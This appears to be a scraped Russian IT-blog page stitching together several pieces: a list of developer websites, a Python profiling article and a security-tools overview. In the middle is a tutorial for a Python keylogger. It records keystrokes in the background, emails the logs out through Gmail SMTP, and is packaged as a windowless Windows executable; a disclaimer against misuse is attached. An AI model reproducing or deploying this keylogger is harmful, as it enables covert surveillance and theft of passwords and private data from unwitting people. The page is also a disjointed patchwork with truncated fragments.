Сперва JAMstack считался лишь комбинацией JavaScript, API и MarkUp. Теперь веб-разработка Jamstack превратилась в настоящую философию.
— Читать дальше «Jamstack: философия веб-разработки на примере Next.js»
…
Небольшой обзор интересных интернет-ресурсов в помощь специалистам цифровой индустрии: каталоги дорожных карт и шпаргалок, тесты веб-приложений, бесплатные макеты и иллюстрации, шаблоны резюме и многое другое.
Мучаетесь с каким-то новым функционалом или просто начали осваивать одну из технологий с нуля, а может, хотите узнать, где можно найти неплохие инструменты для разработки и тестирования. Хорошо, когда есть возможность где-то посмотреть нужную информацию. Мы не поленились, пробежались по сети и собрали для вас набор из нескольких десятков полезных сайтов, о которых вы, возможно, не слышали. Поехали!
Довольно неплохой архив документации практически по любой из технологий, используемых в веб-разработке, с удобной функцией поиска интересующей вас информации. Найденные файлы можно легко скачать на устройство и читать офлайн.
С помощью сайта можно сделать красивые скриншоты различных участков кода. Здесь имеются также несколько тем оформления, под разные языки программирования и темный режим.
Если нужны дорожные карты и образовательные материалы по различным технологиям – вам сюда! Предложенные данные будут полезны как для начинающих, так и для тех, кому нужна конкретная информация по какому-нибудь направлению.
Платформа с инструментами для красивого оформления кода в различных презентациях и статьях, с собственным графическим редактором для работы с изображениями.
Сайт содержит набор инструментов, позволяющих проводить различные эксперименты с вашим контентом, перед заливкой его в Twitter или LinkedIn, с функцией предварительного просмотра. С его помощью вы сможете увидеть, как будет выглядеть ваша страница в социальных сетях, до публикации поста.
С помощью этой облачной платформы можно тестировать любое веб-приложение почти на всех современных браузерах, операционных системах и устройствах как вручную, так и автоматически.
Сайт с классными штуками для разработчиков, где можно найти различные: кодировщики или декодировщики, форматеры HTML/CSS/JavaScript, модификаторы, генераторы данных и прочий полезный функционал, с возможностью обмена кодом с коллегами.
Если хотите создать себе профессиональное резюме – то вам сюда. Это ресурс с множеством готовых шаблонов, с различными вариантами цветового оформления и красивыми шрифтами, легко можно использовать для любой анкеты.
Новостной агрегатор из мира IT, собирающий лучшие публикации с разнообразных медиа и публикующий их в ленте. Можно добавить его в виде расширения в ваш браузер.
Соцсеть, аналог LinkedIn, но только для айтишников. Здесь разработчики смогут поделиться своими навыками, опытом и различного рода, проектами со своими друзьями или коллегами. Причем тот, кто создал наиболее качественный контент, может заработать здесь на платных подписках.
Площадка для создания макетов высокого качества (разрешения) непосредственно в интернет-браузере, а также на разных девайсах при помощи грамотно созданного интерфейса. Это один из самых быстрых бесплатных веб-инструментов для разработки веб-прототипов, не требующий особых знаний, с большой библиотекой классных шаблонов.
Инструмент, позволяющий создавать и обрабатывать фотографии профиля разработчика, для профессиональных соцсетей. У него довольно простой функционал, с которым разберется даже школьник – ничего лишнего. Загружаем фото → редактируем → скачиваем.
Качественно-сделанный цифровой помощник по производству контента, инструменты которого разработаны на основе машинного обучения, с применением искусственного интеллекта, автоматизирующего все процессы создания задуманного. Программа проводит анализ бизнес-операций юзера, определяет правильный бренд и целевую аудиторию и на основе всего этого уже выводит нужный контент.
Площадка по созданию видеороликов при помощи ИИ, поддерживающая почти 50 языков мира. Здесь для производства видео, вам не понадобятся ни камера с микрофоном, ни даже сам пользователь. Все, что вам нужно это загрузить необходимый текстовый сценарий, а программа выдаст вам фильм, созданный искусственным интеллектом.
Если вы устали от повседневной рутинной работы и хотите немного отдохнуть – вам сюда. На этом ресурсе выкладывают различные мемы и приколы из мира информационных технологий.
Сайт с инструментами, позволяющими улучшить ваш код. Довольно простая в использовании штука, где все, что нужно сделать – это, выбрав язык программирования, ввести нужный участок исходного кода и немного подождать, пока искусственный интеллект программы не сделает его более привлекательным и удобочитаемым.
Еще один полезный общедоступный веб-ресурс, позволяющий проверить внешний вид вашего сайта на различных устройствах, и тем самым сэкономить время разработки в несколько раз.
Набор инструментов, помогающий дизайнеру сформировать палитру цветов. Принцип работы сервиса довольно простой: вы указываете ссылку на изображение с нужным сочетанием цветов, или прописываете теги для подбора необходимой схемы. После анализа данных приложение выдаст вам наиболее подходящий результат, который вы можете добавить себе в папку.
Здесь вы найдете огромную подборку различных полезных штук для фронтендеров. От сниппетов кода, цветов, градиентов и шрифтов до различных иконок и анимации.
***
Если вы не заметили в нашей подборке еще одного хорошего веб-сайта, без которого не мыслите своей жизни, не стесняйтесь поделиться им в комментариях. Удачи!
Кажется довольно очевидным, но код пишется не только для компьютеров: он пишется и для людей. Упущение этого факта может обернуться дальнейшими проблемами. Рассказываем, что такое грамотное программирование и как писать качественный код.
…
Определили сложности, которые ждут IT-специалистов и пользователей при переходе на российское программное обеспечение.
— Читать дальше «Подводные камни при переходе на российское программное обеспечение»
…
Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.
Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.
Что такое кейлоггер и зачем он нужен
Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.
Подготовка: устанавливаем Python и библиотеки
Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.
Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.
Ставим библиотеку простой командой в терминале:
pip3 install keyboard
Пишем кейлоггер
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Импорт библиотек
Начнем с импорта необходимых библиотек:
import keyboard
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Создаем класс и методы
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger:
def __init__(self, interval, report_method="email"):
# передаем SEND_REPORT_EVERY в интервал
self.interval = interval
self.report_method = report_method
# это строковая переменная, которая содержит лог
self.log = ""
#запись начала и окончания даты и времени
self.start_dt = datetime.now()
self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
Используем функцию клавиатуры on_release(), которая принимает обратный вызов.
def callback(self, event):
name = event.name
if len(name) > 1:
#не символ, специальная клавиша (например, ctrl, alt и т. д.)
#верхний регистр
if name == "space":
#" " вместо пробелов
name = " "
elif name == "enter":
#добавлять новую строку всякий раз, когда нажимается ENTER
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
#замените пробелы символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
#добавить имя ключа в глобальную переменную
self.log += name
Пишем метод для записи в локальный файл
def update_filename(self):
#создать имя файла, которое будет идентифицировано по дате начала и окончания записи
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
# создать файл
with open(f"{self.filename}.txt", "w") as f:
# записать лог
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
Отправка на email
def sendmail(self, email, password, message):
# управляет подключением к SMTP-серверу
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# подключиться к SMTP-серверу в режиме TLS
server.starttls()
# логин
server.login(email, password)
# отправить сообщение
server.sendmail(email, email, message)
# завершает сеанс
server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку msg = _fix_eols(msg).encode('ascii')и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
def start(self):
#записать дату и время начала
self.start_dt = datetime.now()
#запустить кейлогер
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()
Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:
if __name__ == "__main__":
# для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# для записи в локальный файл оставляем как есть
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Использование
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:
pip3 install pyinstaller
И собираем все в файл:
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.
Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.
Всё об обновлении React 18: автоматический батчинг, конкурентный режим, изменения в архитектуре рендеринга на стороне сервера и новые хуки.
— Читать дальше «React 18: новые хуки и как изменился рендеринг»
…
Боль разработчиков — слишком редкие обновления Java. Какие языки программирования выигрывают из-за бездействия Oracle?
— Читать дальше «Почему Java тормозит и не вводит новые фичи»
…
В этой статье мы рассмотрим различные профилировщики (cProfile, Pyinstrument, Eliot) и обсудим их плюсы и минусы, а также когда и где их лучше применить.
Данная статья является переводом. Ссылка на оригинал.
Ваша Python-программа слишком медленная. Возможно, ваше веб-приложение не поспевает за ним, или некоторые запросы выполняются слишком долго. Возможно, у вас есть командный файл, выполнение которого занимает часы или даже дни.
Что вы сделаете для ускорения работы программы?
Вы, вероятно, сделаете следующее:
1.Выберите подходящий инструмент (программное средство) для измерения скорости.
2.Используете инструмент для поиска «узкого места».
3.Устраните «узкое место».
В этой статье основное внимание будет уделено первому шагу: выбору правильного инструмента. И, в частности, он будет включать в себя:
cProfile: детерминированный профайлер стандартной библиотеки Python.
Pyinstrument: профилировщик выборки.
Eliot: библиотека логирования.
Я не буду вдаваться в подробности о том, как использовать эти инструменты, потому что задача состоит в том, чтобы помочь вам выбрать правильный. Но я объясню, что делают эти инструменты, а также когда и почему нужно выбрать тот или иной.
Профилировщик cProfile встроен в Python, поэтому вы, вероятно, слышали о нем, и, возможно, это тот инструмент, который вы используете по умолчанию. Он работает, отслеживая каждый вызов функции в программе. Вот почему это детерминированный профилировщик: если вы запустите его с теми же входными данными, он даст тот же результат.
По умолчанию cProfile отсчитывает системное время — сколько времени прошло за период работы функции. Это означает, что он может измерять одновременно и скорость работы процессора, и другие проблемы, такие как спящий режим или конфликты при блокировках. Вы всегда должны задаваться вопросомчто измеряет ваш профилировщик, потому что разные измерения могут обнаруживать разные проблемы.
Хотя cProfile доступен по умолчанию в Python, у него также есть некоторые недостатки — и, как вы увидите чуть позже, вы вряд ли захотите его использовать для большинства случаев.
Использование cProfile
Использовать cProfile довольно просто. Если у вас есть скрипт, то, скорее всего, вы запустите его так:
1
$ python benchmark.py
7855 messages/sec
Затем вы можете просто добавить префикс python -m cProfileи запустить его с профилировщиком:
2
$ python -m cProfile benchmark.py
1444992 function calls (1443814 primitive calls) in 1.208 seconds
Ordered by: cumulative time
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 1.208 1.208 benchmark.py:7(<module>)
1 0.048 0.048 1.151 1.151 benchmark.py:21(run)
50000 0.031 0.000 0.657 0.000 _output.py:182(write)
50000 0.045 0.000 0.618 0.000 _output.py:73(send)
50000 0.064 0.000 0.566 0.000 _output.py:452(__call__)
... a million more lines of output ...
Существует также профилирование для Python API, поэтому вы можете профилировать определенные функции в запросе интерпретатора Python или в Jupyter notebook.
Выходной формат представляет собой таблицу, что не совсем удобно: каждая строка является результатом вызова функции, которая выполнялась в течение профилируемого промежутка времени, однако вы не знаете, как этот вызов связан с вызовами других функций. Поэтому, если у вас есть функция, которую можно вызвать с помощью нескольких путей выполнения кода, могут возникнуть сложности с определением, какой именно блок кода отвечает за вызов медленной функции.
Что cProfile может вам сказать
Если вы посмотрите на таблицу выше, то увидите, что:
_output.py(__call__)вызвали 50 000 раз. У нас получилось четное число, потому что это тестовый скрипт, который запускает один и тот же код в цикле 10 000 раз. Если вы не вызывали функцию намеренно множество раз, то это может быть полезно для определения большого количества вызовов для выявления занятых внутренних циклов.
_output.py(send)работал в течение 0.618 секунд (включая время, затраченное на вызываемые им функции) и 0.045 секунд (не считая вызываемых им функций).
Используя эту информацию, вы можете определить медленные функции, которые можно оптимизировать.
Как это работает
cProfile проводит измерение для каждого вызова функции. В частности, вызов функции во время ее выполнения выглядит следующим образом:
Обратите внимание, насколько медленно работает cProfile. И что еще хуже, замедление происходит неравномерно для всей программы: поскольку оно связано с количеством вызовов функций, блоки вашего кода с большим количеством таких вызовов будут замедляться еще больше. Таким образом, эти накладные расходы могут исказить результат.
Проблема №2: Слишком много информации
Если вы помните, выходные данные cProfile, которые мы видели выше, содержат строку для каждой отдельной функции, которая была вызвана во время выполнения программы. Большинство данных вызовов функций не имеют отношения к нашей проблеме с производительностью: они выполняются быстро и только один или два раза.
Поэтому, когда вы читаете выходные данные cProfile, вы имеете дело с большим количеством шума, который мешает распознать сигнал.
Проблема № 3: Измерение результатов работы на локальном компьютере
Довольно часто ваша программа будет работать медленно только в реальных условиях с реальными входными данными. Возможно, только определенные запросы пользователей замедляют работу вашего веб-приложения, и вы не знаете какие именно. Возможно, ваш командный файл работает медленно только с реальными данными.
Но cProfile, как мы видели, немного замедляет вашу программу, и поэтому вы, вероятно, не захотите запускать его в своем рабочем проекте. Таким образом, в то время как низкая скорость работы появляется только при работе с реальными проектами, cProfile может быть полезен только на стадии разработки.
Проблема № 4: Производительность измеряется только для функций
cProfile может сообщить вам о том, что «slowfunc()работает медленно», когда он усредняет все входные данные для этой функции. И это нормально, если функция сама по себе всегда медленная.
Но иногда у вас есть алгоритмический код, который работает медленно только при определенных входных данных. Вполне возможно, что:
slowfunc(100) выполняется быстро.
slowfunc(0) выполняется медленно.
cProfile не сможет сказать вам, какие входные данные вызвали замедление работы, что может затруднить диагностику проблемы.
cProfile: Его, как правило, недостаточно
Обобщая все недостатки, cProfile не должен быть вашим предпочтительным инструментом для повышения производительности. Поэтому далее мы поговорим о его двух альтернативах:
Pyinstrument решает две проблемы, которые мы рассмотрели выше, а именно:
Затраты вычислительных ресурсов меньше, чем у cProfile, при этом результаты не искажаются.
Он отфильтровывает ненужные вызовы функций, поэтому шума становится меньше.
Pyinstrument измеряет системное время, а не процессорное, поэтому он также может фиксировать замедление, вызванное сетевыми запросами, записью на диск, конфликтом блокировок и т. д.
Как вы можете его использовать
Использование Pyinstrument аналогично cProfile — просто добавьте префикс к вашему скрипту:
Обратите внимание, что у него есть некоторые накладные расходы, но не такие большие, как у cProfile, при этом затраты вычислительных ресурсов распределены равномерно.
Pyinstrument также поддерживает API Python, так что вы можете использовать его для профилирования определенных фрагментов кода в интерактивном интерпретаторе Python или блокноте Jupyter.
Выходные данные
На выходе Pyinstrument представляет собой дерево вызовов, измеряющее системное время:
В отличие от построчной функции cProfile, Pyinstrument дает вам дерево вызовов функций, поэтому вы можете получить информацию о скорости работы. Функция может появляться несколько раз, если низкая скорость работы вызвана несколькими путями выполнения кода.
В результате вывод Pyinstrument намного проще интерпретировать, ведь он предоставляет более подробное понимание структуры производительности вашей программы, чем вывод cProfile по умолчанию.
Как это работает (кошачья версия)
Представьте, что у вас есть кошка. Вы хотите знать, как эта кошка проводит свое время.
Вы могли бы непрерывно шпионить за ней, но это был бы весьма трудоемкий процесс. Поэтому вместо этого вы решаете периодически делать «замеры»: каждые 5 минут вы заглядываете в комнату, где находится кошка, и записываете, что она делает.
Например:
12:00: Спит 💤
12:05: Спит 💤
12:10: Ест 🍲
12:15: Использует лоток 💩
12:20: Спит 💤
12:25: Спит 💤
12:30: Спит 💤
Через несколько дней можно подвести итоги своих наблюдений:
80%: Спит 💤
10%: Ест 🍲
9%: Использует лоток 💩
1%: С тоской смотрит в окно на птиц 🐦
Итак, насколько точно это наблюдение? Поскольку ваша цель — изучить, где кошка проводит большую часть своего времени, информационная сводка, вероятно, будет точной. И чем чаще проводятся наблюдения (==измерения) и чем больше наблюдений вы сделаете, тем точнее будет сводка.
Если ваша кошка проводит большую часть своего времени во сне, вы ожидаете, что большинство выборочных наблюдений покажут, что она спит. И да, вы пропустите некоторые быстрые и редкие действия, но для целей «на что кошка тратила большую часть своего времени» эти быстрые и редкие действия не имеют значения.
Как это работает (программная версия)
Как и наш кот, Pyinstrument периодически наблюдает за поведением Python-программы: каждую 1 мс он проверяет, какая функция запущена в данный момент. Это означает:
Если функция кумулятивно медленная, она будет появляться часто.
Если функция кумулятивно быстрая, мы, как правило, ее вообще не увидим.
Это означает, что в нашей сводке производительности меньше шума: функции, которые почти не используются, в основном будут отсутствовать. Но в целом сводка довольно точна с точки зрения того, как программа потратила свое время, если мы произвели достаточное количество записей наблюдений.
3. Eliot: Библиотека логирования
Последним инструментом, который мы подробно рассмотрим, является Eliot, написанная мной библиотека логирования. Она решает оставшиеся две проблемы, которые мы видели в cProfile:
Логирование можно использовать в продакшене.
Логирование может записывать аргументы для функций.
Как вы видите, Eliot предоставляет некоторые уникальные возможности, которые делают лучше его запись производительности, чем у обычных библиотек логирования. При этом, проделав некоторую дополнительную работу, вы можете получить те же преимущества и от других библиотек ведения логов.
Мы можем взять этот код и добавить к нему логирование:
from eliot import log_call, to_file
to_file(open("out.log", "w"))
@log_call
def add(a, b):
# ... implementation ...
@log_call
def multiply(a, b):
# ... implementation ...
# etc.
Specifically, we do two
В частности, мы делаем две вещи:
Сообщаем Eliot куда выводить сообщения журнала (в данном случае это файл с именем out.log).
Добавляем декоратор функции @log_call. Это позволяет зарегистрировать факт вызова функции, ее аргументы и возвращаемое значение (или возникшее исключение).
У Eliot есть другие, более детализированные API, но @log_call достаточно для демонстрации преимуществ ведения журнала логов.
Выходные данные Eliot
Как только мы запустим программу, мы сможем просмотреть журналы с помощью инструмента под названием eliot-tree:
Обратите внимание на сходство с Pyinstrument – дерево действий. Я немного упростил вывод — изначально так, чтобы он поместился на слайде, который я использовал в статье для доклада, — но даже в этой версии этого достаточно, чтобы оценить производительность.
У Eliot каждое действие имеет начало и конец и может запускать другие действия, в результате чего получается дерево. Поскольку мы знаем, когда начинается и заканчивается каждое зарегистрированное действие, мы также знаем, сколько времени оно заняло.
В этом случае каждое действие сопоставляется с вызовом функции в отношении один к одному. И есть некоторые отличия от вывода Pyinstrument:
Вместо объединения нескольких вызовов функций вы видите каждый вызов отдельно от других.
Вы можете видеть аргументы и возвращаемый результат каждого вызова.
Вы можете увидеть прошедшее системное время для каждого действия.
Например, вы можете видеть, что multiplysum()заняло 10 секунд, но больше всего времени было потрачено на multiply(), с входными данными 3 и 4. Таким образом, вы сразу знаете, что для оптимизации производительности нужно сосредоточиться на multiply(), и у вас есть некоторые начальные входные данные (3 и 4), чтобы поиграть ими и посмотреть на изменения.
Ограничения ведения журнала
Логирование само по себе не является достаточным источником информации о производительности.
Во-первых, вы получаете информацию только из кода, в который вы явно добавили вызовы ведения журнала. Профилировщик может работать с любым произвольным фрагментом кода без предварительной подготовки, но с логированием вам придется проделать некоторую работу заранее.
Если вы не добавили код ведения журнала, вы не получите никакой информации. Eliot делает это немного лучше, поскольку структура дерева действий дает вам некоторое представление о том, где было потрачено время, но этого все же недостаточно, если логирование слишком редкое.
Во-вторых, вы не можете добавлять логирование везде, потому что это замедлит вашу программу. Ведение журнала влечет за собой накладные расходы — это требует больше затрат, чем у cProfile. Поэтому вам нужно добавлять его разумно, в ключевые моменты, где он будет максимизировать информацию, которую он дает, не влияя на производительность.
4. Правильный выбор инструментов
Итак, когда вы должны использовать каждый инструмент?
Всегда добавляйте ведение журнала
Любая нетривиальная программа, вероятно, нуждается в некотором логировании, хотя бы для того, чтобы отлавливать баги и ошибки. И если вы уже добавляете ведение журнала, вы также можете позаботиться о том, чтобы регистрировать информацию, необходимую для отладки производительности.
Eliot делает это проще, поскольку регистрация действий по своей сути предоставляет вам информацию о затраченном время. Однако, приложив усилия, вы можете сделать это для любой библиотеки логирования.
После этого используйте профилировщик выборки, такой как Pyinstrument.
Ведение журнала может помочь вам определить конкретное место, где ваша программа работает медленно, и, по крайней мере, некоторые входные данные, вызывающие замедления, но этого часто недостаточно. Итак, следующим шагом будет использование профилировщика, в частности, профилировщика выборки, такого как Pyinstrument:
Имеет низкие накладные расходы и, что более важно, не искажает результаты.
Измеряет системное время, поэтому можете не беспокоиться, что CPU является «узким местом».
Выводит только медленные функции, опуская нерелевантные быстрые функции.
Используйте cProfile, если вам нужна индивидуальная метрика затрат
Если вам когда-нибудь понадобится написать собственный профилировщик, cProfile позволит вам подключить различные функции затрат, что делает его простым инструментом для измерения более необычных показателей.
Вы можете измерить:
Только CPU.
Не только CPU, но и все время, потраченное на ожидание событий, не связанных с CPU.
Количество добровольных переключений контекста, т.е. количество системных вызовов, которые занимают много времени.
Распределение памяти.
В более широком смысле, также можно произвести замеры любого увеличивающегося счетчика.
5. TL;DR
В качестве хорошей отправной точки для работы с инструментами оптимизации производительности я предлагаю вам следующий алгоритм:
Зарегистрируйте ключевые входы и выходы, а также прошедшее время ключевых действий, используя Eliot или какую-либо другую библиотеку регистрации.
Используйте Pyinstrument или другой профилировщик выборки в качестве профилировщика по умолчанию.
В небольшом обзоре разберем достойные варианты отечественного и опенсорсного ПО разной направленности: операционные системы, САПР, IDE, антивирусы, редакторы графики и офисные программы.
На вооружении у специалиста по кибербезопасности масса инструментов: сканеры веб-уязвимостей, программы для аудита паролей, анализа пакетов, пентеста, шифрования и многое другое. Поговорим о самых лучших и актуальных из них.
Сегодня информационная безопасность является приоритетной задачей в большинстве компаний. Инновационные технологии и их использование в каждой области нашей жизни ведут к повышению уровня киберпреступлений.
Успешные атаки наносят порой непоправимый ущерб предприятию – финансовые убытки, компрометация данных компании и ее клиентской базы, и, как следствие, ущерб репутации.Помимо этого, немаленькие судебные издержки и простои предприятия из-за длительных тяжб.
Поэтому каждый руководитель стремится внедрить в структуру своего бизнеса самые эффективные и оптимальные средства управления информационной безопасностью. Постоянный мониторинг сети позволяет предупредить атаки злоумышленников и сохранить свои конфиденциальные данные. Это небольшой, но емкий обзор самых лучших инструментов, которые должны быть у каждого специалиста по информационной безопасности (далее – ИБ).
Инструменты для мониторинга сетевой безопасности
Argus
Argus
Инструмент информационной безопасности на базе открытого исходного кода, который чаще всего используется в анализе трафика сети. Название Argus – аббревиатура Audit Record Generation and Utilization System (система формирования и использования аудиторских записей).
Задача Argus заключается в проведении углубленного анализа информации, которая находится и перемещается в сети. У этого инструмента достаточно мощности для мониторинга больших объемов трафика и предоставления полных актуальных отчетов.
Nagios
Nagios
Помогает специалистам по ИБ мониторить и управлять сетью, подключенными хостами и системой клиента удаленно в режиме реального времени. Пользователь получает уведомление о возможной кибератаке при обнаружении подозрительной активности и такие предупреждения клиент может настроить «под себя». Инструмент отслеживает большинство популярных служб – SMTP, NNTP, ICMP, POP3, HTTP и многие другие.
Больше полезной информации вы можете найти на нашем телеграм-канале «Библиотека хакера»
Инструмент ИБ с открытым исходным кодом для предупреждения хакерских атак, который предоставляет сетевую аналитику активности в режиме реального времени. Пользователь имеет возможность персональной настройки мониторинга точек доступа по различным категориям – реестрам, процессам, руткитам, журналам и файлам.
OSSEC полезен тем, что доступен на разных используемых платформах – Windows, Linux, Mac, VMWare ESX и BSD.
POf
Инструмент, который часто используется при мониторинге активности пользовательской сети, несмотря на то, что разработчики уже несколько месяцев не выпускали обновлений. POf хорошо оптимизирован и не создает дополнительный трафик во время своей работы. Используется для выявления узлов операционных систем, подключаемых к внутренней сети предприятия.
Помимо этого, POf эффективен при поиске запросов по категориям и именам. Подходит для опытных специалистов по ИБ – у новичков могут возникнуть трудности с использованием.
Splunk
Splunk
Универсальный инструмент для контроля безопасности сети. Используется как для поиска информации об угрозах за прошлые периоды, так и мониторинга в режиме реального времени. Кроме функции поиска, Splunk оснащен уникальным пользовательским интерфейсом, который полезен при предоставлении отчетов ИБ и предупреждении о возможных атаках.
Инструменты для обнаружения сетевых вторжений
Acunetix
Acunetix
Предприятия часто опасаются хакерских атак, исходящих от межсетевых экранов, социальной инженерии и внутренней архитектуры компании и забывают о веб-приложениях и сайтах. Инструмент Acunetix занимается мониторингом активности и проблемами безопасности от всех возможных источников, а также проводит «репетиции» конвекционных атак для проверки эффективности применяемых средств ИБ.
Forcepoint
Forcepoint
Инструмент используется при настройке SD-Wan для ограничения доступа пользователей компании-клиента к определенным ресурсам, а также для блокирования уязвимостей. В отличие от других инструментов, Forcepoint практически мгновенно выявляет проблему и предпринимает действия по обеспечению безопасности. Инструмент особенно полезен пользователям облачных хранилищ.
GFI LanGuard
Подходит для постоянного контроля сети, мониторинга уязвимостей и обеспечения должного уровня ИБ. Проводит аудит сети и ПО как мобильных устройств, так и стационарного электронного оборудования. Особенно популярен среди пользователей Windows, Mac и Linux.
Snort
Система поиска и предупреждения хакерских атак в сети с открытым кодом. Используется при анализе трафика внутренней сети и его сравнении с ранней базой данных о нападениях. Snort может быть внедрен на любую современную платформу и операционную систему и предотвращает уникальные атаки CGI – дактилоскопические, с переполнением буфера и скрытым сканером портов.
Инструменты для сканирования веб-уязвимостей
Burp Suite
Burp Suite
Инструмент используется для мониторинга в режиме реального времени для определения критических уязвимостей. Также Burp Suite проводит тренировочные атаки для определения и предупреждения всех возможных нападений на данные компании. Есть три версии программ: Предприятие, Профессионал и Сообщество. Первые две – коммерческие, а третья – бесплатная, с лимитированным набором функций.
Nessus Professional
Nessus Professional
Кроме стандартных функций, также занимается улучшением целостности сети – исправляет «казусы» ИБ, конфигурацию параметров безопасности и многое другое. Версия Nessus Professional дает возможность использования бесплатной уязвимости с открытым исходным кодом. База данных уязвимостей обновляется ежедневно.
Nexpose
Используется для выявления уязвимостей и слабых мест в системе пользователя. База данных постоянно обновляется, что позволяет адаптировать среду сети под новые виды уязвимостей. Кроме этого, специалисты по ИБ могут оценивать риск уязвимостей, расставлять их в приоритетном порядке и своевременно реагировать на угрозы.
Nikto
Инструмент с открытым исходным кодом для мониторинга и контроля за кибератаками, в базе которого содержится более 6500 типов уязвимостей и возможных угроз. Программа постоянно обновляется, добавляются новые плагины для совместимости инструмента с новыми версиями операционных систем.
Nmap
Бесплатный сетевой картограф для управления сетями и выявления уязвимостей в системе. Утилита дает специалисту по ИБ обзор всех необходимых характеристик системы пользователя, такие как фильтры пакетов и межсетевых экранов, ОП, хосты и прочее.
Paros Proxy
Инструмент на базе Java, используемый при тестировании безопасности сети к уязвимостям и кибератакам. Здесь используются регистратор трафика, сканер уязвимостей и веб-паук – все в режиме реального времени. Кроме стандартных атак, Paros Proxy рассматривает атаки с использованием SQL-инъекций и межсайтовые сценарии.
Инструменты кибербезопасности для аудита паролей и анализатора пакетов
Cain and Abel
Один из первых и бесплатных инструментов ИБ, используемых на Windows – отсюда и название (дети первых людей на Земле). Позволяет выявлять уязвимости в паролях системы и может их восстанавливать. У инструмента обширная функциональность – от записи сообщений VoIP до анализа протоколов маршрутизации.
John the Ripper
John the Ripper
Используется для проверки безопасности новых и старых баз паролей, которые могут ставить под угрозу конфиденциальные данные компании пользователя. Вначале программа работала только на Unix, но сегодня уже внедрена на Windows, DOS и OpenVMS.
Tcpdump
Tcpdump
Инструмент, используемый для перехвата пакетов данных во внутренней сети предприятия и мониторинга трафика TCP и IP. Безопасность системы проверяется при помощи фильтрации потока информации на узлах приема/передачи сети.
Wireshark
Wireshark
Консольный инструмент кибербезопасности, ранее называвшийся Ethereal, используется в анализе сетевого трафика и безопасности пользовательской системы в режиме реального времени. Wireshark рассматривает все уровни ИБ сети – от узла соединения до распределения пакетов данных.
Инструменты кибербезопасности для защиты сети
Aircrack-ng
Это целый набор инструментов для проверки сети Wi-Fi на возможные уязвимости. Специалистами ИБ применяется при захвате пакетов данных, проходящих в сети, а уникальная функция экспорта такой информации в текстовом формате позволяет более качественно оценивать риски безопасности в системе. Кроме этого, инструмент оценивает надежность ключей типа WPA-PSK и WEP, проводя тестовые атаки на них.
KisMAC
Инструмент для безопасности сети в MAC OS X. Большинство функций применяют только опытные специалисты по ИБ. Например, сканирование сети Wi-Fi на картах AirPort, Apple AirPort Extreme и других. Здесь используются проверочные атаки методом отбора и использования уязвимостей ключей безопасности, паролей и слабого планирования доступа к базам данных.
Netstumbler
Бесплатный инструмент для операционок Windows, позволяющий обнаруживать открытые порты в сети системы. Здесь используется метод WAP-поиска таких портов и другие уникальные способы выявления уязвимостей.
Инструменты тестирования на проникновение
Kali Linux
Kali Linux
Обширная, но простая исполняемая экосистема, в наличии которой более 300 инструментов для обеспечения пользовательской кибербезопасности, используемых при сканировании систем и проверки сетей на наличие уязвимостей. Инструмент будет полезен как профи, так и новичкам в области ИБ.
Metasploit
Коллекция инструментов для тестирования проникновения злоумышленников в систему пользователя. Полезен при сканировании сети на наличие уязвимостей, планировании стратегий по усилению безопасности данных от возможных атак.
Инструменты шифрования
KeyPass
KeyPass
